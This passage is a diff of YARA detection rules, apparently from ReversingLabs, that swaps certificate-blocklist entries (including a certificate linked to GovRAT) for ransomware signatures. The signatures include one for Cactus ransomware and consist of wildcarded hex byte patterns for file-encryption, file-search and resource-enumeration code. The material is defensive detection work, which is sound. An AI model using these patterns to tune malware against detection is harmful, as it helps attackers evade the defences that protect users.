24 ?? ?? ?? ?? ?? 66 89 44 24 ?? 8B 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 83 F8 ?? + 72 ?? 40 8D 4C 24 ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66 + 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4C 24 + ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 44 24 + ?? 8B 44 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4C 24 ?? 50 FF + 74 24 ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? 89 44 24 ?? 8B + 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 77 ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 + C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ?? + ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C2 + } + $find_files = { + 53 55 56 57 6A ?? 8B F1 E8 ?? ?? ?? ?? 83 C4 ?? 8D 9E ?? ?? ?? ?? 8B E8 53 68 ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 53 50 89 45 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D BE ?? ?? ?? + ?? 0F 1F 80 ?? ?? ?? ?? F6 03 ?? 57 74 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 75 ?? 57 E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 50 8B CE E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 84 C0 74 + ?? 8B CE E8 ?? ?? ?? ?? 53 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 80 7C 24 ?? ?? 75 + ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 55 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5D + 5B C2 + } + $enum_resources_1_p1 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 56 57 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 + ?? 8B DA 8D 44 24 ?? 89 5C 24 ?? 50 51 6A ?? 6A ?? 6A ?? C7 44 24 ?? ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 85 C0 74 ?? 3D ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? + 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? BE ?? ?? + ?? ?? E9 ?? ?? ?? ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 3D + ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? + ?? ?? ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 ED 89 + 6C 24 ?? 39 6C 24 ?? 0F 86 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 85 DB 0F 8E ?? ?? ?? ?? C1 + E5 ?? 8B F3 89 6C 24 ?? 89 5C 24 ?? 0F 1F 84 00 ?? ?? ?? ?? 83 BC 2C ?? ?? ?? ?? ?? + 0F 85 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 74 ?? 8B 84 2C ?? ?? ?? ?? 66 83 78 ?? ?? 8D + 50 ?? 74 ?? 8D B4 24 ?? ?? ?? ?? 8D 48 ?? 8A 01 8D 52 ?? 88 06 8D 76 ?? 66 83 3A + } + $enum_resources_1_p2 = { + 8D 49 ?? 75 ?? 8B 74 24 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 + 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B4 2C ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 6A ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? FF 70 ?? 8B 40 ?? 83 E0 ?? 50 8D 84 24 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? C6 44 24 ?? ?? 8B 56 ?? + F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 + A1 ?? ?? ?? ?? 66 89 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 0F 1F 44 00 ?? 8A 41 ?? 8D + 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? + 88 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 0F 1F 00 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? + ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? + 88 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? + 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 66 0F 1F 44 00 ?? + 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F6 + } + $enum_resources_1_p3 = { + C2 ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? + ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F6 C2 ?? 74 ?? 8D + 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 + 89 41 ?? 84 D2 79 ?? 8D 4C 24 ?? 49 0F 1F 40 ?? 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? + ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 + 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? + ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 + ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? + ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 + 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D + 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 + ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? + ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? F7 C2 ?? ?? ?? ?? 74 + } + $enum_resources_2_p1 = { + 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? + ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ?? + 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? + ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? + 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? + ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 + 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C + 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 + 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? + ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A + 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 + ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 + A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F7 C2 ?? ?? + ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 + } + $enum_resources_2_p2 = { + 01 A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D + 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 + 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? + ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 + 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 + C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 + 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 85 D2 79 + ?? 8D 4C 24 ?? 49 66 0F 1F 44 00 ?? 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 + 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ?? + ?? ?? 88 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 + 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? 8D 4C 24 ?? 8D 51 ?? 8A 01 + 41 84 C0 75 ?? 2B CA 56 88 44 0C ?? FF D7 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 8D + } + $enum_resources_2_p3 = { + 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? FF D7 8B BC 2C ?? ?? ?? ?? 33 D2 + 8B CF 8D 71 ?? 8A 01 41 84 C0 75 ?? 2B CE 8D 43 ?? 03 C1 74 ?? 8B 6C 24 ?? 8B DF 8B + CB 42 8D 71 ?? 0F 1F 00 8A 01 41 84 C0 75 ?? 2B CE 8D 45 ?? 03 C1 3B D0 72 ?? 8B 6C + 24 ?? 8B 5C 24 ?? 8B CF 33 D2 8D 71 ?? 8A 01 41 84 C0 75 ?? 2B CE 8D 43 ?? 03 C1 74 + ?? 8B 9C 2C ?? ?? ?? ?? 8B 6C 24 ?? 0F 1F 40 ?? 8B CB 42 8D 71 ?? 8A 01 41 84 C0 75 + ?? 2B CE 8D 45 ?? 03 C1 3B D0 72 ?? 8B 6C 24 ?? 8B 5C 24 ?? 33 D2 8D 4F ?? 8A 07 47 + 84 C0 75 ?? 2B F9 8D 43 ?? 03 C7 74 ?? 8B BC 2C ?? ?? ?? ?? 0F 1F 40 ?? 8B C7 42 8D + 70 ?? 8A 08 40 84 C9 75 ?? 2B C6 40 03 C3 3B D0 72 ?? 8B 3D ?? ?? ?? ?? 8B 74 24 ?? + 83 EE ?? 89 74 24 ?? 0F 85 ?? ?? ?? ?? 8B 6C 24 ?? 8B F5 C1 E6 ?? 8B 84 34 ?? ?? ?? + ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 + ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 94 34 ?? ?? ?? ?? 66 83 3A ?? 75 ?? 33 C9 EB ?? 8B CA + } + $enum_resources_2_p4 = { + 8D 79 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CF D1 F9 51 52 8D 4C 24 ?? E8 ?? ?? ?? + ?? 8D 44 24 ?? B9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 94 34 ?? ?? ?? ?? + 66 83 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D 79 ?? 0F 1F 44 00 ?? 66 8B 01 83 C1 ?? 66 85 + C0 75 ?? EB ?? 8B 94 34 ?? ?? ?? ?? 66 83 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D 79 ?? 66 + 8B 01 83 C1 ?? 66 85 C0 75 ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? + ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 8B 94 34 ?? ?? ?? ?? 66 83 3A ?? 75 ?? 33 C9 E9 + ?? ?? ?? ?? 8B CA 8D 79 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? E9 ?? ?? ?? ?? 68 ?? ?? + ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? F6 84 34 ?? ?? ?? ?? ?? 74 ?? 8D + 8C 24 ?? ?? ?? ?? 8D 53 ?? 03 CE E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 45 89 6C 24 ?? 3B + 6C 24 ?? 0F 82 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 33 F6 8B 44 24 ?? 83 F8 ?? + 72 ?? 8B 4C 24 ?? 40 3D ?? ?? ?? ?? 77 ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 75 ?? + 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ?? ?? ?? ?? 83 + C4 ?? 5F 8B C6 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Favorite-III" and pe.signatures [ i ] . serial == "15:7c:3a:4a:6b:cf:35:cf:84:53:e6:b6:c0:07:2e:1d" and 1404172799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $encrypt_files_p* ) ) and ( $find_files ) and ( all of ( $enum_resources_1_p* ) ) and ( all of ( $enum_resources_2_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_04422F12037Bc2032521Dbb6Ae02Ea0E : INFO FILE +rule REVERSINGLABS_Win64_Ransomware_Cactus : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing GovRAT malware." + description = "Yara rule that detects Cactus ransomware." author = "ReversingLabs" - id = "0dc659e8-1f3b-5130-a776-dd9e4141f5f3" - date = "2020-08-05" - modified = "2023-11-08" + id = "f391919a-b433-5f8d-8051-f0467118fa1b" + date = "2023-12-15" + modified = "2023-12-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1508-L1524" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Cactus.yara#L1-L190" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "381d749d24121d6634656fd33adcda5c3e500ee77a6333f525f351a2ee589e2c" + logic_hash = "2953b67e926cb653df0de208b098da3d5c16e6690842ab28fbf8c37cd16f54d7" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Cactus" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 55 41 57 41 56 41 55 41 54 56 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 29 C4 48 8D AC 24 + ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? + ?? ?? ?? 48 98 48 89 C1 E8 ?? ?? ?? ?? 48 89 45 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 + 89 85 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C1 4C 8D 4D + ?? 4C 8D 45 ?? 48 8B 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 + 89 54 24 ?? 48 8B 95 ?? ?? ?? ?? 48 89 54 24 ?? 48 89 CA 48 89 C1 E8 ?? ?? ?? ?? 48 + 8D 45 ?? 48 8B 95 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 + ?? 48 8B 95 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 + 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DA + 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA + ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C2 + 48 8D 85 ?? ?? ?? ?? 41 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 41 B8 ?? + ?? ?? ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8B 45 ?? 48 8D + } + $encrypt_files_p2 = { + 95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 4C 8B 85 ?? ?? ?? ?? 48 8B 85 ?? + ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? + ?? 48 83 C0 ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 95 + ?? ?? ?? ?? 48 8D 4A ?? 41 B8 ?? ?? ?? ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? + ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 29 + C2 48 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 98 48 39 85 ?? ?? ?? ?? 0F 8D ?? ?? ?? + ?? 48 89 E0 48 89 C6 48 8B 85 ?? ?? ?? ?? 48 8D 50 ?? 48 85 C0 48 0F 48 C2 48 C1 F8 + ?? 48 C1 E0 ?? 48 89 85 ?? ?? ?? ?? 48 8B 9D ?? ?? ?? ?? 48 8D 43 ?? 48 89 85 ?? ?? + ?? ?? 48 89 D8 49 89 C4 41 BD ?? ?? ?? ?? 48 89 D8 49 89 C6 41 BF ?? ?? ?? ?? 48 89 + D8 48 83 C0 ?? 48 C1 E8 ?? 48 C1 E0 ?? E8 ?? ?? ?? ?? 48 29 C4 48 8D 44 24 ?? 48 83 + C0 ?? 48 89 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 8D 85 ?? ?? + ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 41 89 D9 4C 8B 85 ?? ?? ?? ?? 48 89 E9 48 8D + 55 ?? 48 8B 85 ?? ?? ?? ?? 44 89 4C 24 ?? 4D 89 C1 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? + 48 8B 85 ?? ?? ?? ?? F7 D8 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 63 D0 48 8D 85 ?? + ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8D 45 ?? 48 + 8D 95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 2B 85 + ?? ?? ?? ?? 48 89 C2 48 8D 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 + } + $encrypt_files_p3 = { + 48 89 DA 48 8B 85 ?? ?? ?? ?? 48 01 D0 48 89 85 ?? ?? ?? ?? 90 48 89 F4 E9 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? 48 63 C8 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 C8 48 + 89 C1 E8 ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? 48 89 E9 48 8D 55 ?? 48 8B 85 ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? 4D 89 C1 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + F7 D8 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 63 D0 48 8D 85 ?? ?? ?? ?? 41 B8 ?? ?? + ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8D 45 ?? 48 8D 95 ?? ?? ?? ?? 48 + 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 05 ?? ?? ?? ?? 48 89 85 ?? + ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 F0 ?? 84 + C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 48 98 48 8D 55 ?? 48 01 C2 48 89 E9 48 8B 85 ?? ?? ?? + ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8D 45 ?? 48 8D 95 ?? ?? ?? + ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8B 45 ?? 48 8D 95 ?? ?? + ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 4C 8B 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? + 48 8D 95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 83 + C0 ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? + ?? 48 8D 4A ?? 41 B8 ?? ?? ?? ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 + } + $encrypt_files_p4 = { + C1 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 + E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 41 B8 + ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 89 + C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 84 DB 74 ?? 48 8D 45 ?? 48 89 C1 E8 + ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? + 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DA 48 89 C1 48 8B 05 ?? ?? ?? ?? + FF D0 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D + 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 F4 48 89 C3 EB ?? 48 89 C3 48 8D + 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? + ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? + ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 8D A5 ?? ?? + ?? ?? 5B 5E 41 5C 41 5D 41 5E 41 5F 5D C3 + } + $find_files_p1 = { + 55 56 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 29 C4 48 8D AC 24 ?? ?? ?? ?? 48 89 8D ?? + ?? ?? ?? 48 8D 45 ?? BB ?? ?? ?? ?? 48 89 C6 EB ?? 48 89 F1 E8 ?? ?? ?? ?? 48 83 EB + ?? 48 83 C6 ?? 48 85 DB 79 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 + ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 + 0F 95 C0 84 C0 74 ?? 48 8B 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? + ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? + ?? ?? ?? E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? + 84 C0 74 ?? 48 8D 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 + ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 